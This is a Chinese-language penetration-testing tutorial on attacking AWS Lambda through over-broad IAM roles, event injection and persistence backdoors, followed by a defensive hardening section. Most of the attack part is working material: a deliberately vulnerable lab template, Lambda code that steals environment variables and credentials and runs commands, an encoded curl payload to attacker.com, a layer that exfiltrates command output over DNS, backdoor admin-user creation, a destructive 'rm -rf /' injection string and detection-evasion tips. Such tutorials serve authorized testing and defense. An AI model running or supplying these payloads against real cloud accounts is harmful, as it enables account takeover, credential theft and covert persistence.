云函数(Lambda, Functions)的权限、事件注入与持久化后门
然而,如果这个机器人被错误地授予了打开工厂所有门禁的钥匙(过宽IAM角色),或者传感器可以被欺骗传送一个伪装成包裹的破坏装置(恶意事件注入),又或者机器人的编程被暗中篡改以在每次任务中偷偷执行额外指令(持久化后门),那么整个工厂的安全将岌岌可危。本文将深入剖析云函数环境中的三大安全议题:权限滥用(基于过宽的IAM角色)、事件注入(通过精心构造的触发事件)和持久化后门(在无服务器环境中的隐蔽驻留技术
第一部分:开篇明义 —— 定义、价值与目标
定位与价值
云函数(在AWS中称为Lambda,Azure中称为Functions,Google Cloud中称为Cloud Functions)是无服务器计算的核心组件。它允许开发者在无需管理底层服务器的情况下运行代码,由云平台根据事件触发自动执行。在渗透测试和攻防对抗的视角下,云函数不仅是现代化的应用架构组件,更是一个极具战略价值的攻击面:由于其高权限身份、事件驱动特性以及云原生架构的复杂性,它成为了权限提升、横向移动和持久化驻留的绝佳载体。
本文将深入剖析云函数环境中的三大安全议题:权限滥用(基于过宽的IAM角色)、事件注入(通过精心构造的触发事件)和持久化后门(在无服务器环境中的隐蔽驻留技术)。理解这些攻击路径,对于云安全防御者构建有效检测方案,对于渗透测试人员评估云环境安全性,都具有关键意义。
学习目标
读完本文,你将能够:
- 阐述云函数的基本架构、执行上下文及其在云环境中的典型权限模型,理解其成为高价值攻击目标的原因。
- 利用云函数过宽的IAM角色进行权限提升和横向移动,演示从初始访问到完全控制云账户的完整攻击链。
- 分析并实施针对云函数的事件注入攻击,包括通过API Gateway、S3、CloudWatch Events等常见触发器投递恶意负载。
- 构建在云函数环境中的持久化后门机制,包括代码层、层(Layer)和配置层的隐蔽驻留技术。
- 设计并实施针对性的防御、检测与响应策略,涵盖开发、部署和运维全生命周期。
前置知识
· 基础云概念:了解AWS/Azure/GCP的核心服务(IAM、S3、EC2/VM等)。
· IAM权限模型:理解基于角色的访问控制(RBAC)和策略(Policy)的基本语法。
· 无服务器架构基础:熟悉函数即服务(FaaS)和事件驱动编程的概念。
· 基础渗透测试技能:具备基本的命令行操作和HTTP请求构造能力。
第二部分:原理深掘 —— 从“是什么”到“为什么”
核心定义与类比
云函数是一种事件驱动的无服务器计算服务。开发者上传代码(函数),配置触发器(如HTTP请求、文件上传、定时任务),云平台负责在事件发生时自动准备执行环境、运行代码并回收资源。
类比:将云函数想象成一个自动化工厂的机器人手臂。机器人(函数)被编程执行特定任务(代码)。各种传感器(触发器)可以激活它:传送带上的一个包裹(S3文件上传)、一个定时器响铃(CloudWatch定时事件)或一个控制面板的按钮(API Gateway HTTP请求)。工厂管理层(云平台)负责给机器人供电、提供工具(执行环境),并在任务完成后将其收起。然而,如果这个机器人被错误地授予了打开工厂所有门禁的钥匙(过宽IAM角色),或者传感器可以被欺骗传送一个伪装成包裹的破坏装置(恶意事件注入),又或者机器人的编程被暗中篡改以在每次任务中偷偷执行额外指令(持久化后门),那么整个工厂的安全将岌岌可危。
根本原因分析
云函数安全问题的根源是多层次的,根植于其设计哲学和运维复杂性:
- 权限模型的复杂性:
· 设计初衷:云函数需要代表用户与其他云服务交互,因此必须被分配一个执行角色(Execution Role)。这个角色的权限决定了函数的能力边界。
· 问题根源:在“快速上线”的开发文化下,管理员倾向于授予函数过宽的权限(如*通配符),遵循“最小权限原则”的实践不足。此外,角色信任关系配置错误可能导致权限跨账户滥用。 - 事件源的不可信性:
· 设计初衷:云函数强调与各种云服务(S3, SQS, DynamoDB等)和外部服务(HTTP)的松耦合集成。任何这些服务产生的事件都能触发函数执行。
· 问题根源:开发者往往默认事件源是受信任的,对输入数据的验证不足。攻击者可能控制或影响事件源(例如,上传一个恶意文件到S3),从而将恶意负载注入到函数执行流中。 - 无服务器架构的隐蔽性:
· 设计初衷:无服务器抽象了服务器管理,让开发者专注于业务逻辑。
· 问题根源:这种抽象也带来了安全可见性的降低。传统的基于主机日志、进程监控的检测手段失效。函数的代码、配置、依赖(层)都可能成为后门的载体,且由于其短暂的生命周期和事件触发的特性,恶意活动更难被持续追踪。
可视化核心机制
下图描绘了云函数的典型架构、攻击面(权限、事件注入、后门)及相应的攻击路径。这张图将作为全文的“锚点”。
第三部分:实战演练 —— 从“为什么”到“怎么做”
环境与工具准备
演示环境
· 云平台:AWS (主要),相关概念适用于Azure Functions与Google Cloud Functions。
· 账户:使用一个专为安全测试创建的AWS账户。绝对不要在生产账户中进行测试。
· 区域:us-east-1
核心工具
- AWS CLI:命令行界面,用于与AWS服务交互。
aws --version # aws-cli/2.13.0 - Pacu:针对AWS环境的开源渗透测试工具包。
git clone https://github.com/RhinoSecurityLabs/pacu.git - Lambda-Proxy / WeaponizedLambda:用于生成恶意Lambda函数Payload的工具。
- Netcat / Socat:用于建立反向Shell监听。
- jq:命令行JSON处理器。
sudo apt-get install jq netcat socat
最小化实验环境搭建
我们使用CloudFormation模板快速搭建一个包含脆弱Lambda函数、S3桶和API Gateway的测试环境。
cloudformation-template.yaml:
AWSTemplateFormatVersion: '2010-09-09'
Description: 'Vulnerable Lambda Lab Environment'
Resources:
# 1. 一个过宽权限的IAM角色
VulnerableLambdaRole:
Type: 'AWS::IAM::Role'
Properties:
AssumeRolePolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: 'Allow'
Principal:
Service: 'lambda.amazonaws.com'
Action: 'sts:AssumeRole'
Policies:
- PolicyName: 'OverPrivilegedPolicy'
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: 'Allow'
Action: '*'
Resource: '*'
# 2. 一个脆弱的Lambda函数 (从S3读取文件并返回内容)
VulnerableLambdaFunction:
Type: 'AWS::Lambda::Function'
Properties:
FunctionName: 'vulnerable-data-processor'
Runtime: 'python3.9'
Handler: 'lambda_function.lambda_handler'
Role: !GetAtt VulnerableLambdaRole.Arn
Code:
ZipFile: |
import json
import boto3
import urllib.parse
s3 = boto3.client('s3')
def lambda_handler(event, context):
# 危险:未验证或净化event['queryStringParameters']
bucket = event.get('queryStringParameters', {}).get('bucket')
key = urllib.parse.unquote_plus(event.get('queryStringParameters', {}).get('key', ''))
try:
response = s3.get_object(Bucket=bucket, Key=key)
content = response['Body'].read().decode('utf-8')
return {
'statusCode': 200,
'body': json.dumps({'content': content[:500]}) # 限制输出长度
}
except Exception as e:
return {'statusCode': 500, 'body': json.dumps({'error': str(e)})}
Environment:
Variables:
SECRET_KEY: 'LabEnvironmentSecret123!' # 模拟敏感环境变量
Timeout: 30
# 3. 一个用于触发的S3桶
VulnerableS3Bucket:
Type: 'AWS::S3::Bucket'
Properties:
BucketName: !Sub 'vulnerable-bucket-${AWS::AccountId}'
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
# 4. 一个API Gateway REST API (触发Lambda)
VulnerableApi:
Type: 'AWS::ApiGateway::RestApi'
Properties:
Name: 'VulnerableDataApi'
ApiResource:
Type: 'AWS::ApiGateway::Resource'
Properties:
RestApiId: !Ref VulnerableApi
ParentId: !GetAtt VulnerableApi.RootResourceId
PathPart: 'getfile'
ApiMethod:
Type: 'AWS::ApiGateway::Method'
Properties:
RestApiId: !Ref VulnerableApi
ResourceId: !Ref ApiResource
HttpMethod: 'GET'
AuthorizationType: 'NONE' # 危险:未授权
Integration:
Type: 'AWS_PROXY'
IntegrationHttpMethod: 'POST'
Uri: !Sub 'arn:aws:apigateway:${AWS::Region}:lambda:path/2015-03-31/functions/${VulnerableLambdaFunction.Arn}/invocations'
ApiDeployment:
Type: 'AWS::ApiGateway::Deployment'
DependsOn: ApiMethod
Properties:
RestApiId: !Ref VulnerableApi
StageName: 'prod'
LambdaPermission:
Type: 'AWS::Lambda::Permission'
Properties:
FunctionName: !Ref VulnerableLambdaFunction
Action: 'lambda:InvokeFunction'
Principal: 'apigateway.amazonaws.com'
SourceArn: !Sub 'arn:aws:execute-api:${AWS::Region}:${AWS::AccountId}:${VulnerableApi}/*/GET/getfile'
Outputs:
VulnerableLambdaFunctionArn:
Description: 'The ARN of the vulnerable Lambda function'
Value: !Ref VulnerableLambdaFunction
VulnerableS3BucketName:
Description: 'Name of the vulnerable S3 bucket'
Value: !Ref VulnerableS3Bucket
ApiEndpoint:
Description: 'Endpoint URL for the vulnerable API'
Value: !Sub 'https://${VulnerableApi}.execute-api.${AWS::Region}.amazonaws.com/prod/getfile'
部署命令:
# 1. 配置AWS CLI凭证 (使用测试账户)
aws configure
# 2. 创建CloudFormation堆栈
aws cloudformation create-stack \
--stack-name LambdaPentestLab \
--template-body file://cloudformation-template.yaml \
--capabilities CAPABILITY_NAMED_IAM \
--region us-east-1
# 3. 等待堆栈创建完成,获取输出
aws cloudformation describe-stacks \
--stack-name LambdaPentestLab \
--query 'Stacks[0].Outputs' \
--region us-east-1 \
--output table
记下输出的ApiEndpoint,VulnerableS3BucketName和VulnerableLambdaFunctionArn。
标准操作流程
阶段一:侦察与信息收集
在获得初步AWS凭证(例如,通过泄露的Access Key)后,第一步是收集关于Lambda函数的信息。
- 枚举Lambda函数和配置:
# 列出所有Lambda函数
aws lambda list-functions --region us-east-1 --output json | jq -r '.Functions[].FunctionName'
# 获取特定函数的详细配置,包括其执行角色ARN
FUNCTION_NAME="vulnerable-data-processor"
aws lambda get-function --function-name $FUNCTION_NAME --region us-east-1 --output json | jq -r '.Configuration.Role, .Configuration.Environment, .Configuration.Runtime'
- 分析IAM执行角色:
# 从函数配置中提取角色ARN
ROLE_ARN=$(aws lambda get-function --function-name $FUNCTION_NAME --region us-east-1 --query 'Configuration.Role' --output text)
echo $ROLE_ARN
# 类似:arn:aws:iam::123456789012:role/LambdaPentestLab-VulnerableLambdaRole-XXXXX
# 提取角色名称
ROLE_NAME=$(echo $ROLE_ARN | cut -d'/' -f2)
# 获取附加到该角色的内联和托管策略
aws iam list-attached-role-policies --role-name $ROLE_NAME --output json | jq -r '.AttachedPolicies[].PolicyArn'
aws iam list-role-policies --role-name $ROLE_NAME --output json | jq -r '.PolicyNames[]'
# 获取策略文档内容(示例:获取第一个内联策略)
INLINE_POLICY_NAME=$(aws iam list-role-policies --role-name $ROLE_NAME --query 'PolicyNames[0]' --output text)
aws iam get-role-policy --role-name $ROLE_NAME --policy-name $INLINE_POLICY_NAME --output json | jq '.PolicyDocument'
如果策略文档显示Action: “"和Resource: "”,则确认这是一个过宽权限的角色。
阶段二:权限滥用与横向移动
利用过宽的Lambda执行角色,我们可以执行任意AWS操作。
- 通过Lambda函数本身执行命令(原地利用):
我们可以更新现有函数的代码,注入恶意逻辑,然后触发它。这利用了我们对函数配置的lambda:UpdateFunctionCode权限(包含在*中)。
首先,创建一个恶意Lambda函数代码包malicious_lambda.zip:
# malicious_lambda.py
import json, os, subprocess, boto3, base64, urllib.request
def lambda_handler(event, context):
# 1. 窃取环境变量
stolen_env = dict(os.environ)
# 2. 尝试通过元数据服务窃取临时凭证 (如果函数运行在VPC中且有权限)
metadata_token = None
try:
token_url = 'http://169.254.169.254/latest/api/token'
req = urllib.request.Request(token_url, method='PUT', headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'})
metadata_token = urllib.request.urlopen(req, timeout=2).read().decode()
except: pass
instance_creds = {}
if metadata_token:
try:
role_name = urllib.request.urlopen(urllib.request.Request('http://169.254.169.254/latest/meta-data/iam/security-credentials/', headers={'X-aws-ec2-metadata-token': metadata_token}), timeout=2).read().decode()
creds_url = f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}'
instance_creds = json.loads(urllib.request.urlopen(urllib.request.Request(creds_url, headers={'X-aws-ec2-metadata-token': metadata_token}), timeout=2).read().decode())
except: pass
# 3. 执行传入的命令 (通过event)
cmd = event.get('cmd', 'whoami')
try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10).decode()
except Exception as e:
output = str(e)
# 4. 尝试将数据外传 (例如,上传到攻击者控制的S3)
# 这里为了演示,我们仅将结果返回。在实际攻击中,可能通过DNS、HTTP或S3外传。
return {
'statusCode': 200,
'body': json.dumps({
'stolen_env': stolen_env,
'instance_creds': instance_creds,
'command_output': output
}, default=str)
}
打包并更新函数代码:
# 创建zip包 (确保只有python文件在根目录)
zip malicious_lambda.zip malicious_lambda.py
# 更新Lambda函数代码
aws lambda update-function-code --function-name $FUNCTION_NAME --zip-file fileb://malicious_lambda.zip --region us-east-1
# 通过调用测试验证
aws lambda invoke --function-name $FUNCTION_NAME --payload '{"cmd": "id; env | head -5"}' --region us-east-1 output.json && cat output.json | jq -r '.body | fromjson'
输出将显示环境变量和命令执行结果。
- 创建新的高权限Lambda函数作为后门(更隐蔽):
直接修改现有函数可能触发告警。更好的方法是以当前身份(即Lambda执行角色的身份)创建一个新的、看似合法的函数。
# backdoor_lambda.py
import boto3, json, os, subprocess, http.client, urllib.parse
def lambda_handler(event, context):
# 从加密的输入中获取指令
# 这里使用简单的base64,实际可能使用KMS或预共享密钥
encoded_cmd = event.get('encoded_cmd')
if not encoded_cmd:
return {'status': 'no command'}
import base64
try:
cmd = base64.b64decode(encoded_cmd).decode()
except:
return {'status': 'decode error'}
# 执行命令
try:
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30).decode()
exit_code = 0
except subprocess.CalledProcessError as e:
result = e.output.decode()
exit_code = e.returncode
except Exception as e:
result = str(e)
exit_code = 1
# 将结果发送到外部C2 (模拟)
# 实际攻击中,这里会是一个HTTP POST或DNS查询
c2_host = os.environ.get('C2_HOST', 'example.com')
# ... 外传代码 (略)
return {
'exit_code': exit_code,
'result': result[:2000] # 限制长度
}
创建新函数:
# 1. 打包代码
zip backdoor_lambda.zip backdoor_lambda.py
# 2. 创建新Lambda函数,复用现有的高权限角色
NEW_FUNC_NAME="monitoring-helper"
aws lambda create-function \
--function-name $NEW_FUNC_NAME \
--runtime python3.9 \
--role $ROLE_ARN \
--handler backdoor_lambda.lambda_handler \
--zip-file fileb://backdoor_lambda.zip \
--timeout 120 \
--region us-east-1 \
--environment Variables={C2_HOST=attacker-server.com}
# 3. 调用后门函数
aws lambda invoke --function-name $NEW_FUNC_NAME \
--payload '{"encoded_cmd": "L2Jpbi9zaCAuYyAiZWNobyBIYWNrZWQ7IGN1cmwgaHR0cDovL2F0dGFja2VyLmNvbS8kKHdob2FtaSk7IHNsZWVwIDIiCg=="}' \
--region us-east-1 output_backdoor.json
cat output_backdoor.json
# 命令是: /bin/sh -c "echo Hacked; curl http://attacker.com/$(whoami); sleep 2"
- 横向移动:从Lambda角色到账户完全控制:
拥有*权限,我们可以创建新的IAM用户并附加管理员策略,实现持久化。
# 创建后门IAM用户
aws iam create-user --user-name BackupDeployUser
# 为用户创建控制台密码和访问密钥
aws iam create-login-profile --user-name BackupDeployUser --password 'VeryStr0ngP@ssw0rd!'
aws iam create-access-key --user-name BackupDeployUser --output json | tee backup_user_keys.json
# 将管理员策略直接附加给用户
aws iam attach-user-policy --user-name BackupDeployUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 验证
aws iam list-attached-user-policies --user-name BackupDeployUser
现在,攻击者拥有了一个具有完全控制权限的持久性后门用户。
阶段三:事件注入攻击
如果无法直接修改函数代码,但能控制或影响其事件源,则可以进行事件注入。
- 通过API Gateway进行注入:
我们的测试环境有一个未授权且输入未验证的API Gateway端点。
# 假设API端点是:https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile
# 正常请求:读取我们S3桶里的文件
curl "https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile?bucket=vulnerable-bucket-123456789012&key=test.txt"
# 攻击1:路径遍历,尝试读取Lambda环境变量(通过/proc/self/environ)
# 注意:这需要函数运行环境允许文件系统访问,且知道路径。实际上,更常见的是注入命令。
# 但由于我们的函数代码直接使用bucket和key参数,我们可以尝试读取其他S3资源(如果有权限)。
curl "https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile?bucket=aws-lambda&key=us-east-1/xxxxxxx/configuration" 2>/dev/null | jq .
# 攻击2:如果函数代码使用了eval或os.system(糟糕的实践),则可能直接RCE。
# 我们的示例函数使用了boto3.get_object,相对安全。但如果代码是:
# exec(f"print('{event['input']}')"),那么注入'}); import os; os.system('rm -rf /'); # 将导致灾难。
- 通过S3事件注入:
如果Lambda函数由S3事件(如s3:ObjectCreated)触发,且函数逻辑处理上传的文件,那么上传一个恶意文件可能导致意外行为。
首先,为我们的S3桶配置一个Lambda触发器(模拟):
# 添加S3事件通知配置到Lambda (需要s3:PutBucketNotification权限)
BUCKET_NAME=$(aws cloudformation describe-stacks --stack-name LambdaPentestLab --query "Stacks[0].Outputs[?OutputKey=='VulnerableS3BucketName'].OutputValue" --output text)
aws s3api put-bucket-notification-configuration \
--bucket $BUCKET_NAME \
--notification-configuration '{
"LambdaFunctionConfigurations": [
{
"LambdaFunctionArn": "'$(aws lambda get-function --function-name $FUNCTION_NAME --query 'Configuration.FunctionArn' --output text)'",
"Events": ["s3:ObjectCreated:*"],
"Filter": {
"Key": {
"FilterRules": [{"Name": "suffix", "Value": ".txt"}]
}
}
}
]
}'
现在,上传一个“正常”的文本文件,但内容可能是针对函数处理逻辑的恶意负载。例如,如果函数解析文件内容作为JSON并执行某些操作,我们可以上传包含恶意JSON的文件。
创建恶意文件malicious.txt:
{
"action": "download",
"url": "file:///etc/passwd",
"output": "/tmp/passwd"
}
上传并触发Lambda:
echo '{"action": "download", "url": "file:///etc/passwd"}' > malicious.txt
aws s3 cp malicious.txt s3://$BUCKET_NAME/malicious.txt
如果函数逻辑是:if action == ‘download’: os.system(f’curl {url} -o {output}'),那么这将导致任意文件读取。在我们的示例函数中,它只是读取并返回文件内容,所以攻击效果有限,但说明了注入点。
阶段四:持久化后门技术
在云函数中建立持久化后门,需要确保在函数更新、重启甚至删除后,攻击者仍能保持访问。
-
代码层后门:
如上所述,直接修改函数代码是最直接的,但也最容易被发现。可以将后门代码伪装成合法功能,例如“错误报告”、“性能监控”或“第三方库”。 -
层(Layer)后门:
Lambda层是一种分发库、自定义运行时或其他依赖项的便捷方式。一个被入侵的层可以感染所有使用它的函数。
# 创建一个恶意层
mkdir -p layer/python
cd layer/python
cat << EOF > malicious_lib.py
import sys, os, subprocess, json
def hook():
# 检查环境变量中是否有攻击指令
cmd = os.environ.get('_MALICIOUS_CMD')
if cmd:
try:
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=5).decode()
# 通过DNS外传结果(简化示例)
import socket
# 将结果编码到子域名中
encoded = result[:30].replace('.', '-').replace(' ', '-')
socket.gethostbyname(f"{encoded}.attacker.example.com")
except:
pass
# 尝试在导入时或运行时执行钩子
if 'lambda_function' in sys.modules:
hook()
EOF
# 创建层的zip
cd ..
zip -r9 ../malicious-layer.zip .
# 发布层
aws lambda publish-layer-version \
--layer-name "common-utils" \
--description "Common utilities for Lambda functions" \
--zip-file fileb://malicious-layer.zip \
--compatible-runtimes python3.8 python3.9 \
--region us-east-1
LAYER_ARN=$(aws lambda publish-layer-version --layer-name "common-utils" --zip-file fileb://malicious-layer.zip --compatible-runtimes python3.8 python3.9 --query 'LayerVersionArn' --output text)
# 将该层附加到目标Lambda函数
aws lambda update-function-configuration \
--function-name $FUNCTION_NAME \
--layers $LAYER_ARN $(aws lambda get-function --function-name $FUNCTION_NAME --query 'Configuration.Layers[].Arn' --output text | tr '\n' ' ') \
--region us-east-1
现在,每次函数执行时,malicious_lib.py都会被加载。如果环境变量_MALICIOUS_CMD被设置(攻击者可以通过更新函数配置来设置),恶意代码就会执行。
- 环境变量与配置后门:
环境变量可以存储C2服务器地址、加密密钥或触发命令。攻击者可以更新函数配置,添加恶意的环境变量。
# 添加一个看起来无害的环境变量,实际是编码的C2配置
aws lambda update-function-configuration \
--function-name $FUNCTION_NAME \
--environment "Variables={SECRET_KEY=LabEnvironmentSecret123!,METRICS_ENDPOINT=https://legit-metrics.com,DEBUG_MODE=false,_C2=base64encodedconfig}" \
--region us-east-1
- 外部依赖仓库后门:
如果函数从公共或私有代码仓库(如PyPI、npm)拉取依赖,攻击者可以投毒特定包。例如,创建一个与流行包同名的恶意包(typosquatting),或者入侵一个广泛使用的开源库。
自动化与脚本
以下是一个简化的Python脚本,用于自动化发现过宽权限的Lambda函数并尝试利用。
#!/usr/bin/env python3
"""
Lambda权限审计与利用脚本
警告:仅用于授权测试环境。
"""
import boto3, json, zipfile, io, base64, time, argparse
from botocore.exceptions import ClientError
def get_lambda_functions(session, region):
"""获取指定区域所有Lambda函数列表"""
lambda_client = session.client('lambda', region_name=region)
functions = []
paginator = lambda_client.get_paginator('list_functions')
for page in paginator.paginate():
functions.extend(page['Functions'])
return functions
def analyze_role_permissions(session, role_arn):
"""分析IAM角色的权限"""
iam = session.resource('iam')
role_name = role_arn.split('/')[-1]
role = iam.Role(role_name)
policies = []
# 附加的托管策略
for attached in role.attached_policies.all():
policies.append({'Type': 'Managed', 'Arn': attached.arn, 'Document': attached.default_version.document})
# 内联策略
for inline_name in role.policies.all():
policies.append({'Type': 'Inline', 'Name': inline_name.name, 'Document': inline_name.policy_document})
# 简单检查是否存在过于宽松的权限
over_privileged = False
for policy in policies:
doc = policy['Document']
for statement in doc.get('Statement', []):
if isinstance(statement.get('Action', ''), str):
actions = [statement['Action']]
else:
actions = statement.get('Action', [])
if '*' in actions and statement.get('Effect') == 'Allow':
if statement.get('Resource') == '*' or (isinstance(statement.get('Resource'), list) and '*' in statement['Resource']):
over_privileged = True
print(f"[!] 发现过宽权限策略: {policy.get('Name', policy.get('Arn'))}")
return over_privileged, policies
def backdoor_function(session, function_name, region, c2_url):
"""尝试在Lambda函数中植入简单后门"""
lambda_client = session.client('lambda', region_name=region)
# 1. 获取当前配置和代码
try:
func = lambda_client.get_function(FunctionName=function_name)
except ClientError as e:
print(f"[-] 无法获取函数 {function_name}: {e}")
return False
# 2. 创建后门代码 (追加到现有处理程序)
# 这里简化处理:实际应解析现有代码并插入钩子
backdoor_code = f"""
import os, subprocess, urllib.request, json
_original_handler = lambda_handler
def lambda_handler(event, context):
# 恶意钩子
cmd = os.environ.get('_BACKDOOR_CMD')
if cmd:
try:
result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10).decode()
# 尝试外传 (简化)
data = base64.b64encode(result.encode()).decode()
# 在实际攻击中,这里会发送HTTP请求
print(f"[Backdoor] Command executed: {{cmd}}")
except Exception as e:
print(f"[Backdoor] Error: {{e}}")
# 调用原始处理程序
return _original_handler(event, context)
# 替换全局处理程序
import sys
sys.modules[__name__].lambda_handler = lambda_handler
"""
# 注意:直接修改代码需要更复杂的解析和打包。此处仅为示例框架。
print(f"[*] 后门代码生成 (需手动集成到 {function_name})")
print(backdoor_code[:500])
return True
def main():
parser = argparse.ArgumentParser(description='AWS Lambda权限审计与利用脚本')
parser.add_argument('--profile', default='default', help='AWS CLI Profile')
parser.add_argument('--region', default='us-east-1', help='AWS Region')
parser.add_argument('--backdoor', action='store_true', help='尝试植入后门')
parser.add_argument('--c2', default='http://attacker.example.com', help='C2服务器地址')
args = parser.parse_args()
session = boto3.Session(profile_name=args.profile, region_name=args.region)
print(f"[*] 扫描区域 {args.region} 中的Lambda函数...")
functions = get_lambda_functions(session, args.region)
print(f"[+] 发现 {len(functions)} 个函数")
vulnerable_funcs = []
for func in functions:
func_name = func['FunctionName']
role_arn = func['Role']
print(f"\n[*] 分析函数: {func_name}")
print(f" 角色ARN: {role_arn}")
over_priv, policies = analyze_role_permissions(session, role_arn)
if over_priv:
vulnerable_funcs.append(func_name)
print(f"[!!!] 函数 {func_name} 使用过宽权限角色!")
if args.backdoor:
print(f"[*] 尝试植入后门...")
backdoor_function(session, func_name, args.region, args.c2)
else:
print(f"[+] 角色权限似乎受限。")
print(f"\n[*] 扫描完成。发现 {len(vulnerable_funcs)} 个潜在脆弱函数:")
for vf in vulnerable_funcs:
print(f" - {vf}")
if __name__ == '__main__':
main()
警告:此脚本仅为教育目的,演示自动化思路。在真实授权测试中,需要更精细的操作以避免破坏业务功能。
对抗性思考:绕过与进化
现代云安全工具(如AWS GuardDuty, Azure Defender)会检测异常Lambda活动,例如:
· 函数代码被从未见过的IP或用户修改。
· 函数调用来自异常地理位置。
· 函数执行时间异常长或产生大量网络流量。
· 函数角色尝试执行高风险操作(如iam:*, ec2:RunInstances)。
绕过思路:
- 时间延迟:后门代码只在特定时间或特定事件(如某特定用户触发)下激活。
- 隐蔽外传:使用DNS隧道、隐蔽的HTTP请求(模仿正常流量)或云服务内部通道(如通过SQS消息)外传数据,避免直接出站到可疑IP。
- 权限最小化利用:避免使用*权限,而是使用角色已有的、看似正常的权限进行横向移动(例如,如果角色有s3:GetObject,则窃取S3数据;如果有logs:CreateLogGroup,则创建日志组并插入恶意数据)。
- 无文件后门:不修改函数代码,而是利用层(Layer)或运行时启动脚本(如利用LD_PRELOAD)注入恶意代码。在Lambda中,这需要自定义运行时。
- 供应链攻击:如果目标通过CI/CD部署Lambda,攻击其代码仓库(Git)或构建管道(CodeBuild),使恶意代码在部署流程中“合法”地进入。
第四部分:防御建设 —— 从“怎么做”到“怎么防”
开发侧修复
- 遵循最小权限原则
危险模式(CloudFormation片段):
Policies:
- PolicyName: 'OverPrivilegedPolicy'
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: 'Allow'
Action: '*' # 通配符权限
Resource: '*'
安全模式:
Policies:
- PolicyName: 'LeastPrivilegeS3Read'
PolicyDocument:
Version: '2012-10-17'
Statement:
- Sid: 'AllowReadingFromSpecificBucket'
Effect: 'Allow'
Action:
- 's3:GetObject'
- 's3:GetObjectVersion'
Resource: 'arn:aws:s3:::my-data-bucket/*'
- Sid: 'AllowListingBucket'
Effect: 'Allow'
Action: 's3:ListBucket'
Resource: 'arn:aws:s3:::my-data-bucket'
- Sid: 'AllowWritingLogs'
Effect: 'Allow'
Action:
- 'logs:CreateLogGroup'
- 'logs:CreateLogStream'
- 'logs:PutLogEvents'
Resource: 'arn:aws:logs:*:*:*'
原理:精确声明函数所需的最小权限集合。使用IAM Policy Generator工具或策略验证工具(如iamlive)来捕获函数运行时的实际API调用。
- 输入验证与净化
危险模式(Python示例):
def lambda_handler(event, context):
user_input = event['queryStringParameters']['filename']
# 直接使用用户输入构造S3键
s3_key = f"user-uploads/{user_input}"
s3.get_object(Bucket=my_bucket, Key=s3_key)
安全模式:
import re, os
from urllib.parse import unquote_plus
def lambda_handler(event, context):
user_input = event.get('queryStringParameters', {}).get('filename', '')
if not user_input:
return {'statusCode': 400, 'body': 'Missing filename'}
# 1. 解码URL编码
user_input = unquote_plus(user_input)
# 2. 验证文件名格式 (白名单)
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_input):
return {'statusCode': 400, 'body': 'Invalid filename'}
# 3. 防止路径遍历
basename = os.path.basename(user_input)
if basename != user_input:
return {'statusCode': 400, 'body': 'Path traversal attempt blocked'}
# 4. 限制文件扩展名
allowed_extensions = {'.txt', '.pdf', '.jpg'}
if not any(user_input.endswith(ext) for ext in allowed_extensions):
return {'statusCode': 400, 'body': 'File type not allowed'}
s3_key = f"user-uploads/{user_input}"
# ... 继续处理
原理:采用深度防御策略,结合白名单验证、规范化、路径遍历检查和业务逻辑限制。
- 安全依赖管理
· 使用锁文件:对于Python requirements.txt,使用pip freeze > requirements.txt并定期更新。对于Node.js,使用package-lock.json。
· 扫描依赖:在CI/CD流水线中集成软件成分分析(SCA)工具,如Snyk、OWASP Dependency-Check或GitHub Dependabot。
· 私有仓库:对于内部库,使用私有代码仓库(如CodeArtifact、私有PyPI/NPM),并严格控制发布权限。
· 签名与验证:对Lambda层和部署包进行数字签名,并在部署前验证签名。
运维侧加固
- IAM与资源配置
· 使用服务控制策略(SCPs):在AWS Organizations级别,使用SCPs限制整个账户或OU内的权限。例如,禁止为Lambda角色分配*权限。
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyWildcardForLambdaRoles",
"Effect": "Deny",
"Action": "iam:AttachRolePolicy",
"Resource": "*",
"Condition": {
"StringLike": {
"iam:PolicyArn": "arn:aws:iam::*:role/*lambda*"
},
"ForAnyValue:StringLike": {
"iam:PolicyArn": ["*:*:*"]
}
}
}
]
}
· 强制标签:要求所有Lambda函数必须有Owner、Environment、DataClassification等标签,便于基于标签的权限策略和监控。
· VPC配置:如果函数需要访问VPC资源,将其部署在私有子网中,并严格限制出站安全组和网络ACL规则。对于不需要VPC访问的函数,不要将其放入VPC,以减少攻击面。
- 监控与日志
· 启用AWS CloudTrail:确保记录所有Lambda API调用(CreateFunction, UpdateFunctionCode, Invoke等)和IAM事件。将日志发送到安全的、不可变的存储(如S3桶,并启用对象锁)。
· 集中化日志:使用Amazon CloudWatch Logs订阅过滤器或直接通过Kinesis将Lambda日志流式传输到安全信息和事件管理(SIEM)系统(如Splunk, Elastic SIEM)。
· 关键告警规则(CloudWatch警报或GuardDuty检测规则):
· lambda:UpdateFunctionCode或UpdateFunctionConfiguration来自非CI/CD系统的IP或用户。
· 函数执行时间异常长(超过平均值的3个标准差)。
· 函数调用频率异常(例如,突然从每分钟几次增加到每秒几百次)。
· 函数产生大量网络错误或访问被拒绝错误。
· 函数角色调用了高风险API(如iam:CreateUser, ec2:RunInstances, s3:PutBucketPolicy)。
示例GuardDuty检测规则概念(实际是GuardDuty内置的):
Type: Backdoor:EC2/LambdaBackdoor
Title: Lambda函数被修改以建立持久化后门
Severity: High
Indicator: Lambda函数代码被更新,新代码包含已知的后门模式,如:
- 调用外部IP的base64解码字符串
- 使用`os.system`, `subprocess.check_output`执行动态构造的命令
- 环境变量包含可疑的C2域名
- 架构设计原则
